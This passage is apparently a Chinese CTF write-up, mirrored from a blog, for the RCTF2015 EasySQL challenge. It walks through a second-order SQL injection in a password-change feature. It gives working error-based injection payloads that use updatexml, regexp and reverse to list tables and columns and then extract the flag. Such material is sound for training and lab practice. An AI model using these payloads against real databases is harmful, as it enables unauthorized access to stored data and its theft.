zoukankan      html  css  js  c++  java
  • [RCTF2015]EasySQL

    参考peri0d师傅的文章

    初始页面存在一个注册界面和一个登入的界面

     注册一个新用户,登入进去可以修改密码,应该是二次注入

    注册的时候发现了一些词被过滤掉了,fuzz了一下,过滤了部分字符

    当注册用户为 admin“ 进行修改密码时存在报错

     

    可以推出后台的sql语句为

    update users set password='xxxx' where username="xxxx" and pwd='202cb962ac59075b964b07152d234b70'

    因为存在报错回显,那么就可以直接用报错注入

    获取表名

    test"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

     获取列名

    test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#

     得到了一个假的flag

    test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#

     真正的flag在users表中

    但是要输出数据的时候提示没有存在该列,可以推测该列没有被完全输出

     可以用regexp正则来匹配

    test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#

    找到真正的保存flag的列,直接获取数据

    test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users))),1)#

    得到了xxx,xxx,同样用正则来匹配flag

    test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#

     打印出了前面的flag,后面还没显示出来,可以用reverse逆序输出flag

    test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#

     得到逆序后的后部分flag,用python 的切片步长为-1得到正向的flag,然后拼接即可

     

  • 相关阅读:
    腾讯// 反转字符串
    腾讯//Multiply Strings 字符串相乘
    腾讯//盛最多水的容器
    腾讯//删除排序数组中的重复项
    腾讯//删除排序数组中的重复项
    C语言中的预处理命令
    Python十大应用领域与就业方向
    Python的主要应用领域及应用场景
    Git命令_git status
    Git命令_git add快速添加文件到暂存区
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12621382.html
Copyright © 2011-2022 走看看